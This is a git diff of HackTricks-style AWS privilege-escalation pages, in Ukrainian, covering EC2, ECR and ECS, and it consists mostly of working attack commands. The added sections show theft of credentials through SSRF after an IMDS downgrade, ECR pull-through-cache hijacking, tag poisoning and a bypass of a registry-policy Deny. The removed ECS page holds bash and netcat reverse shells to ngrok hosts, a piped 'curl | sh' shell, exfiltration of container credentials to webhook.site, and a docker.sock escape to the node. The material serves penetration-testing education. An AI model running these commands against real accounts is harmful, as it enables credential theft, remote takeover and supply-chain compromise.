+aws ec2 enable-serial-console-access + +aws ec2-instance-connect send-serial-console-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" + +ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws +``` +Цей спосіб не надто корисний для privesc, оскільки для його експлуатації потрібно знати username і password. + +**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. + +### `describe-launch-templates`,`describe-launch-template-versions` + +Оскільки launch templates мають версіонування, зловмисник з **`ec2:describe-launch-templates`** і **`ec2:describe-launch-template-versions`** permissions міг би exploit these для виявлення чутливої інформації, такої як credentials, присутні в user data. Для цього наступний скрипт перебирає всі версії доступних launch templates: +```bash +for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') +do +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" +done +``` +У наведених вище командах, хоча ми вказуємо певні патерни (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації. + +Припустивши, що ми знайдемо `aws_access_key_id` і `aws_secret_access_key`, ми можемо використати ці облікові дані для аутентифікації в AWS. + +**Потенційний вплив:** Пряме підвищення привілеїв для IAM-користувача(ів). + +## Посилання + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `ec2:ModifyInstanceMetadataOptions` (Пониження IMDS, щоб дозволити крадіжку облікових даних через SSRF) + +Атакуючий, який має можливість викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2-інстансі жертви, може послабити захист IMDS, ввімкнувши IMDSv1 (`HttpTokens=optional`) та збільшивши `HttpPutResponseHopLimit`. Це робить endpoint метаданих інстансу доступним через звичні SSRF/proxy шляхи від додатків, що працюють на інстансі. Якщо атакуючий зможе спричинити SSRF у такому додатку, він зможе отримати облікові дані instance profile і здійснити подальший рух з їх використанням. + +- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс можливість досягти/спричинити SSRF на хості). +- Цільовий ресурс: Запущений EC2-інстанс з приєднаним instance profile (IAM role). + +Приклад команд: +```bash +# 1) Check current metadata settings +aws ec2 describe-instances --instance-id \ +--query 'Reservations[0].Instances[0].MetadataOptions' + +# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-endpoint enabled --http-tokens optional \ +--http-put-response-hop-limit 3 --instance-metadata-tags enabled + +# 3) Through the SSRF, enumerate role name +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 4) Through the SSRF, steal the temporary credentials +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 5) Use the stolen credentials +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity + +# 6) Restore protections (require IMDSv2, low hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-tokens required --http-put-response-hop-limit 1 +``` +Потенційний вплив: Крадіжка облікових даних instance profile через SSRF, що призводить до privilege escalation та lateral movement із дозволами ролі EC2. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md deleted file mode 100644 index 714d6b657..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ /dev/null @@ -1,100 +0,0 @@ -# AWS - ECR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` - -Атакуючий з **`ecr:GetAuthorizationToken`** та **`ecr:BatchGetImage`** може увійти в ECR та завантажити зображення. - -Для отримання додаткової інформації про те, як завантажити зображення: - -{{#ref}} -../aws-post-exploitation/aws-ecr-post-exploitation.md -{{#endref}} - -**Потенційний вплив:** Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку. - -### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` - -Атакуючий з усіма цими дозволами **може увійти в ECR та завантажити зображення**. Це може бути корисно для підвищення привілеїв до інших середовищ, де використовуються ці зображення. - -Щоб дізнатися, як завантажити нове зображення/оновити одне, перегляньте: - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` - -Як у попередньому розділі, але для публічних репозиторіїв. - -### `ecr:SetRepositoryPolicy` - -Атакуючий з цим дозволом може **змінити** **політику** **репозиторію**, щоб надати собі (або навіть усім) **доступ на читання/запис**.\ -Наприклад, у цьому прикладі доступ на читання надається всім. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -Зміст `my-policy.json`: -```json -{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "allow public pull", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -### `ecr-public:SetRepositoryPolicy` - -Як і в попередньому розділі, але для публічних репозиторіїв.\ -Зловмисник може **змінити політику репозиторію** публічного репозиторію ECR, щоб надати несанкціонований публічний доступ або для ескалації своїх привілеїв. -```bash -bashCopy code# Create a JSON file with the malicious public repository policy -echo '{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "MaliciousPublicRepoPolicy", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr-public:GetDownloadUrlForLayer", -"ecr-public:BatchGetImage", -"ecr-public:BatchCheckLayerAvailability", -"ecr-public:PutImage", -"ecr-public:InitiateLayerUpload", -"ecr-public:UploadLayerPart", -"ecr-public:CompleteLayerUpload", -"ecr-public:DeleteRepositoryPolicy" -] -} -] -}' > malicious_public_repo_policy.json - -# Apply the malicious public repository policy to the ECR Public repository -aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json -``` -**Потенційний вплив**: Несанкціонований публічний доступ до ECR Public репозиторію, що дозволяє будь-якому користувачу завантажувати, витягувати або видаляти зображення. - -### `ecr:PutRegistryPolicy` - -Зловмисник з цим дозволом може **змінити** **політику реєстру**, щоб надати собі, своєму обліковому запису (або навіть усім) **доступ на читання/запис**. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md new file mode 100644 index 000000000..d70763c6c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -0,0 +1,268 @@ +# AWS - ECR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` + +Атакувальник з правами **`ecr:GetAuthorizationToken`** та **`ecr:BatchGetImage`** може увійти в ECR і завантажувати образи. + +For more info on how to download images: + +{{#ref}} +../../aws-post-exploitation/aws-ecr-post-exploitation/README.md +{{#endref}} + +**Потенційний вплив:** Непряма privesc шляхом перехоплення конфіденційної інформації у трафіку. + +### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` + +Атакувальник з усіма цими дозволами **може увійти в ECR і завантажувати образи**. Це може бути корисно для escalate privileges в інші середовища, де ці образи використовуються. + +To learn how to upload a new image/update one, check: + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` + +Як у попередньому розділі, але для публічних репозиторіїв. + +### `ecr:SetRepositoryPolicy` + +Атакувальник з цим дозволом може **change** **repository** **policy** щоб надати собі (або навіть усім) **read/write access**.\ +Наприклад, в цьому прикладі read access надано кожному. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +Вміст `my-policy.json`: +```json +{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +### `ecr-public:SetRepositoryPolicy` + +Як і попередній розділ, але для публічних репозиторіїв.\ +Атакуючий може **змінити політику репозиторію** ECR Public, щоб надати несанкціонований публічний доступ або підвищити свої привілеї. +```bash +# Create a JSON file with the malicious public repository policy +echo '{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] +}' > malicious_public_repo_policy.json + +# Apply the malicious public repository policy to the ECR Public repository +aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json +``` +**Потенційний вплив**: Несанкціонований публічний доступ до ECR Public repository, що дозволяє будь-якому користувачу push, pull або delete images. + +### `ecr:PutRegistryPolicy` + +Зловмисник з цим дозволом може **змінити** **політику реєстру**, щоб надати собі, своєму обліковому запису (або навіть усім) **read/write access**. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### ecr:CreatePullThroughCacheRule + +Зловживати правилами ECR Pull Through Cache (PTC), щоб відобразити контрольований атакуючим upstream-простір імен на довірений приватний префікс ECR. Це дозволяє робочим навантаженням, які витягують образи з приватного ECR, прозоро отримувати образи атакуючого без необхідності push у приватний ECR. + +- Необхідні дозволи: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Якщо використовується ECR Public upstream: ecr-public:* для створення/push у публічний репозиторій. +- Протестовано upstream: public.ecr.aws + +Кроки (приклад): + +1. Підготуйте образ, контрольований атакуючим, в ECR Public +# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 +docker login public.ecr.aws/ +docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . +docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test + +2. Створіть правило PTC в приватному ECR, щоб відобразити довірений префікс на публічний реєстр +aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws + +3. Стягніть образ атакуючого через приватний шлях ECR (push у приватний ECR не виконувався) +docker login .dkr.ecr.us-east-2.amazonaws.com +docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test +docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test + +Potential Impact: компрометація ланцюга постачання шляхом перехоплення внутрішніх імен образів під обраним префіксом. Будь-яке робоче навантаження, що витягує образи з приватного ECR з використанням цього префіксу, отримає вміст, контрольований атакуючим. + +### `ecr:PutImageTagMutability` + +Зловживати цим дозволом, щоб переключити репозиторій з незмінністю тегів на змінний і перезаписати довірені теги (e.g., latest, stable, prod) вмістом, контрольованим атакуючим. + +- Необхідні дозволи: `ecr:PutImageTagMutability` плюс можливості для push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Наслідки: компрометація ланцюга постачання шляхом прихованої заміни незмінних тегів без зміни імен тегів. + +Кроки (приклад): + +
+Отруїти незмінний тег, переключивши його в змінний +```bash +REGION=us-east-1 +REPO=ht-immutable-demo-$RANDOM +aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +# Build and push initial trusted tag +printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Attempt overwrite while IMMUTABLE (should fail) +printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Flip to MUTABLE and overwrite +aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Validate consumers pulling by tag now get the poisoned image (prints V2) +docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +``` +
+ + +#### Global registry hijack via ROOT Pull-Through Cache rule + +Create a Pull-Through Cache (PTC) rule using the special `ecrRepositoryPrefix=ROOT` to map the root of the private ECR registry to an upstream public registry (e.g., ECR Public). Any pull to a non-existent repository in the private registry will be transparently served from upstream, enabling supply-chain hijacking without pushing to private ECR. + +- Потрібні дозволи: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- Наслідки: запити pull до `.dkr.ecr..amazonaws.com/:` виконуються успішно та автоматично створюють приватні репозиторії, які походять з upstream. + +> Примітка: Для `ROOT` правил не вказуйте `--upstream-repository-prefix`. Якщо його вказати, це спричинить помилку валідації. + +
+Демонстрація (us-east-1, upstream public.ecr.aws) +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix) +aws ecr create-pull-through-cache-rule \ +--region "$REGION" \ +--ecr-repository-prefix ROOT \ +--upstream-registry-url public.ecr.aws + +# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation) +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com + +# Example using an official mirror path hosted in ECR Public +# (public.ecr.aws/docker/library/alpine:latest) +docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest + +# 3) Verify repo and image now exist without any push +aws ecr describe-repositories --region "$REGION" \ +--query "repositories[?repositoryName==docker/library/alpine]" +aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED + +# 4) Cleanup +aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT +aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true +``` +
+ +### `ecr:PutAccountSetting` (Знизити `REGISTRY_POLICY_SCOPE`, щоб обійти registry policy Deny) + +Зловживати `ecr:PutAccountSetting`, щоб переключити область дії політики реєстру з `V2` (політика застосовується до всіх дій ECR) на `V1` (політика застосовується лише до `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Якщо обмежувальний registry policy Deny блокує дії, такі як `CreatePullThroughCacheRule`, пониження до `V1` знімає це обмеження, і identity‑policy Allows набирають чинності. + +- Необхідні дозволи: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Наслідки: Можливість виконувати ECR дії, які раніше блокувала registry policy Deny (наприклад, створення PTC rules), шляхом тимчасового встановлення scope на `V1`. + +Кроки (приклад): + +
+Обхід registry policy Deny для CreatePullThroughCacheRule шляхом перемикання на V1 +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 0) Snapshot current scope/policy (for restore) +aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true +aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json + +# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +cat > /tmp/deny-ptc.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "DenyPTCAll", +"Effect": "Deny", +"Principal": "*", +"Action": ["ecr:CreatePullThroughCacheRule"], +"Resource": "*" +} +] +} +JSON +aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION + +# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny) +set +e +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws +RC=$? +set -e +if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi + +# 3) Downgrade scope to V1 and retry (should SUCCEED now) +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws + +# 4) Verify rule exists +aws ecr describe-pull-through-cache-rules --region $REGION \ +--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']" + +# 5) Cleanup and restore +aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true +if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then +jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt +aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt +else +aws ecr delete-registry-policy --region $REGION || true +fi +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +``` +
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md deleted file mode 100644 index 150c6f8de..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ /dev/null @@ -1,327 +0,0 @@ -# AWS - ECS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Більше **інформації про ECS** в: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` - -Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити новий task definition** зі **шкідливим контейнером**, який викрадає облікові дані метаданих та **запустити його**. - -{{#tabs }} -{{#tab name="Reverse Shell" }} -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -# Run task definition -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -{{#endtab }} - -{{#tab name="Webhook" }} - -Створіть webhook за допомогою сайту на кшталт webhook.site -```bash - -# Create file container-definition.json -[ -{ -"name": "exfil_creds", -"image": "python:latest", -"entryPoint": ["sh", "-c"], -"command": [ -"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" -] -} -] - -# Run task definition, uploading the .json file -aws ecs register-task-definition \ ---family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 \ ---memory 512 \ ---requires-compatibilities FARGATE \ ---container-definitions file://container-definition.json - -# Check the webhook for a response - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 - -``` -{{#endtab }} - -{{#endtabs }} - -**Потенційний вплив:** Direct privesc до іншої ролі ECS. - -### `iam:PassRole`,`ecs:RunTask` -Атакувач, який має дозволи `iam:PassRole` та `ecs:RunTask`, може запустити нове завдання ECS з модифікованими значеннями **execution role**, **task role** та **command** контейнера. Команда CLI `ecs run-task` містить прапорець `--overrides`, який дозволяє під час виконання змінювати `executionRoleArn`, `taskRoleArn` та `command` контейнера без змін у task definition. - -Вказані IAM ролі для `taskRoleArn` та `executionRoleArn` у своїй політиці довіри повинні дозволяти, щоб їх приймав сервіс `ecs-tasks.amazonaws.com`. - -Також, атакувач повинен знати: -- назву кластера ECS -- VPC Subnet -- Security group (Якщо не вказано, буде використано групу за замовчуванням) -- назву Task Definition та ревізію -- назву Container -```bash -aws ecs run-task \ ---cluster \ ---launch-type FARGATE \ ---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ ---task-definition \ ---overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": , -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -У наведеному вище фрагменті коду атакуючий перезаписує лише значення `taskRoleArn`. Однак для виконання атаки атакуючий повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, та на `executionRoleArn`, вказаний у визначенні завдання. - -Якщо роль IAM, яку атакуючий може передати, має достатні привілеї для завантаження образу з ECR і запуску ECS-завдання (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакуючий може вказати одну й ту саму роль IAM як для `executionRoleArn`, так і для `taskRoleArn` у команді `ecs run-task`. -```sh -aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": "", -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -**Potential Impact:** Прямий privesc до будь-якої ECS task role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` - -Як і в попередньому прикладі, атакуючий, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати новий task definition** з **malicious container**, який краде metadata credentials і **запустити його**.\ -Однак у цьому випадку потрібен container instance, щоб запустити зловмисний task definition. -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -aws ecs start-task --task-definition iam_exfiltration \ ---container-instances - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -**Потенційний вплив:** Прямий privesc на будь-яку роль ECS. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - -Як і в попередньому прикладі, attacker, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати новий task definition** з **шкідливим контейнером**, який викрадає metadata credentials, і **запустити його, створивши новий service з принаймні 1 запущеним task.** -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn "$ECS_ROLE_ARN" \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" - -# Run the task creating a service -aws ecs create-service --service-name exfiltration \ ---task-definition iam_exfiltration \ ---desired-count 1 \ ---cluster "$CLUSTER_ARN" \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" - -# Run the task updating a service -aws ecs update-service --cluster \ ---service \ ---task-definition -``` -**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS. - -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` - -Насправді, лише з цими дозволами можна використовувати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт: -```bash -aws ecs run-task \ ---task-definition "" \ ---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ ---cluster \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" -``` -**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS. - -### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\ -Це все ще цікаво, тому що, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер, щоб вийти на вузол** і **вкрасти EC2 IAM роль** та **ролі інших контейнерів ECS**, що працюють на вузлі.\ -Ви навіть можете **змусити інші таски запускатися всередині EC2 інстансу**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорено в розділі [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). - -> [!WARNING] -> Ця атака можлива тільки якщо **ECS cluster** використовує **EC2** інстанси, а не **Fargate**. -```bash -printf '[ -{ -"name":"exfil_creds", -"image":"python:latest", -"entryPoint":["sh", "-c"], -"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], -"mountPoints": [ -{ -"readOnly": false, -"containerPath": "/var/run/docker.sock", -"sourceVolume": "docker-socket" -} -] -} -]' > /tmp/task.json - -printf '[ -{ -"name": "docker-socket", -"host": { -"sourcePath": "/var/run/docker.sock" -} -} -]' > /tmp/volumes.json - - -aws ecs register-task-definition --family iam_exfiltration \ ---cpu 256 --memory 512 \ ---requires-compatibilities '["EC2"]' \ ---container-definitions file:///tmp/task.json \ ---volumes file:///tmp/volumes.json - - -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ ---launch-type EC2 - -# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell -``` -### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Зловмисник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати прикріплену до нього роль IAM (потрібні права describe, оскільки для запуску `aws ecs execute-command` вони необхідні).\ -Однак для цього інстанс контейнера має працювати з **ExecuteCommand agent** (за замовчуванням це не так). - -Отже, зловмисник може спробувати: - -- **Спробувати виконати команду** в кожному запущеному контейнері -```bash -# List enableExecuteCommand on each task -for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do -echo "Cluster $cluster" -for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do -echo " Task $task" -# If true, it's your lucky day -aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand -done -done - 